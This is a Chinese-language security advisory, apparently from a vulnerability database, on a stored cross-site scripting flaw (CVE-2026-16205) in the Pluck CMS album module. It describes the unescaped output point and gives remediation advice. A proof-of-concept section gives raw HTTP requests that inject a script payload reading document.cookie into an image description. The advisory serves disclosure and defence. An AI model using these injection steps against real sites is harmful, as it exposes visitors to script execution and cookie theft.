Pluck CMS存储型跨站脚本漏洞CVE-2026-16205
Pluck CMS是一款开源、轻量无数据库 PHP 建站系统,遵循GPLv2协议,该系统主打极简部署、零代码门槛,专门用来搭建小型网站。
一、基本情况
Pluck CMS无需MySQL/SQLite数据库,文章、相册、配置以XML/文本文件存服务器目录,纯PHP运行,低配虚拟主机也能流畅运行。

Pluck CMS模块化插件体系,可新增访客统计、多用户权限、表单发送邮件等功能;模板修改简单,新手不写代码即可完成全站改版。
栋科技漏洞库关注到Pluck CMS 4.7.21 开发版及以下相册模块存储型跨站脚本漏洞,现被踪为CVE-2026-16205,CVSS 3.X评分 2.4。
二、漏洞分析
CVE-2026-16205是Pluck CMS漏洞,源于 Albums 模块允许管理员创建相册并上传图片,由于图像描述字段在持久化后未做输出编码。
该安全漏洞可能会导致已认证管理员可在图像说明中植入脚本并在访客浏览前端相册页面时执行,从而可能构成持久化跨站脚本漏洞。
具体来说,用户可控的图片描述内容存入数据库后,前端相册页面渲染时调用`htmlspecialchars_decode()`解码,但未做安全输出转义。
文件 data/modules/albums/functions.php 在前端相册渲染路径中直接调用 htmlspecialchars_decode($image['info']) ,
输出图像 Info 字段(即管理员提交表单中的 cont2 描述),反向解码后整段写入 DOM,
使管理员填入的 <script> 等 HTML/JS 载荷绕过输出转义直接执行;
当前端页面通过 {pluck show_module(albums)} 引入 Albums 模块并被访客访问时,
XSS 载荷在受害浏览器中触发,可窃取非 HttpOnly 数据并以同源权限访问后台接口。
这使得已授权管理员可注入任意JavaScript代码,所有访问该相册页面的访客浏览器都会执行恶意脚本。
(一)受影响组件
相册模块
图片描述文本处理功能
前端相册页面渲染逻辑
(二)相关文件
data/modules/albums/albums.admin.php
data/modules/albums/functions.php
(三)漏洞输出点:
<i><?php echo htmlspecialchars_decode($image['info']); ?></i>
(四)攻击向量
已登录管理员进入Pluck CMS后台,新建/编辑相册、上传图片,并在图片描述栏填入恶意JS载荷。
其他访客访问加载相册模块的前端页面、打开该相册时,持久存储的恶意内容未经过HTML转义直接渲染,脚本在访客浏览器中执行。
(五)技术细节
后台图片上传接口通过`cont2`参数接收图片描述,该参数经处理后作为图片元数据持久保存。
前端渲染时直接将解码后的描述文本嵌入HTML:
<i><?php echo htmlspecialchars_decode($image['info']); ?></i>
文本解码后直接写入DOM,`<script>`等标签不会被过滤,可正常执行。
三、POC概念验证
(一)利用前置条件
1、攻击者拥有后台管理员权限,或具备相册编辑权限;
2、目标网站至少包含一个前端页面,该页面通过以下方式嵌入了专辑模块:
站点前端存在页面通过`{pluck show_module(albums)}`引入相册模块;
{pluck show_module(albums)}
3、受害者访问存在恶意载荷的相册前端页面。
(二)复现步骤
步骤1:登录后台

步骤2
确保前端页面包含专辑模块

编辑前端页面并将其内容设置为包含:
{pluck show_module(albums)}

例如,第11页可以展示前端路由:
/?file=11&module=albums&page=viewalbum&album=<album_slug>
步骤3:创建相册



请求:
POST /admin.php?module=albums HTTP/1.1
Host: 127.0.0.1:8080
Cookie: PHPSESSID=<authenticated-session>
Content-Type: application/x-www-form-urlencoded
cont1=test&submit=Save
步骤4:上传图像并将有效载荷注入描述中

验证中使用的有效载荷:
<script>alert(document.cookie)</script>

请求:
POST /admin.php?module=albums&page=editalbum&var1=test HTTP/1.1
Host: 127.0.0.1:8080
Cookie: PHPSESSID=<authenticated-session>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cont1"
test
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cont2"
<script>alert(document.cookie)</script>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="cont3"
85
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="imagefile"; filename="xssimg.png"
Content-Type: image/png
<png binary data>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
Save
------WebKitFormBoundary7MA4YWxkTrZu0gW--
步骤五、触发存储的XSS

前端请求:
GET /?file=11&module=albums&page=viewalbum&album=test HTTP/1.1
Host: 127.0.0.1:8080
观察到的响应片段:
<i><script>alert(document.cookie)</script></i>
(三)已验证实例
1、目标:
http://127.0.0.1:8080
2、测试期间验证的前端触发器URL:
http://127.0.0.1:8080/?file=11&module=albums&page=viewalbum&album=test
3、观察结果:
HTTP 200
响应中存在有效载荷
浏览器端JavaScript执行已确认
(四)影响
成功利用该漏洞可以:在受害者浏览器中执行任意JavaScript;前端脚本可用的非HttpOnly数据被盗;
对特权后端端点的同源请求;与后端功能(如内容修改或模块安装)链接。
(五)建议补救措施:
从不受信任的前端输出路径中删除htmlspecialchars_decode();在呈现用户控制的内容之前应用上下文适当的输出编码;
始终将相册描述数据视为不受信任的输入;考虑在后端输入处理中限制或清除危险的HTML
四、影响范围
Pluck CMS ≤ 4.7.21 dev
五、修复建议
Pluck CMS >4.7.21 dev
六、参考链接
管理员已设置登录后刷新可查看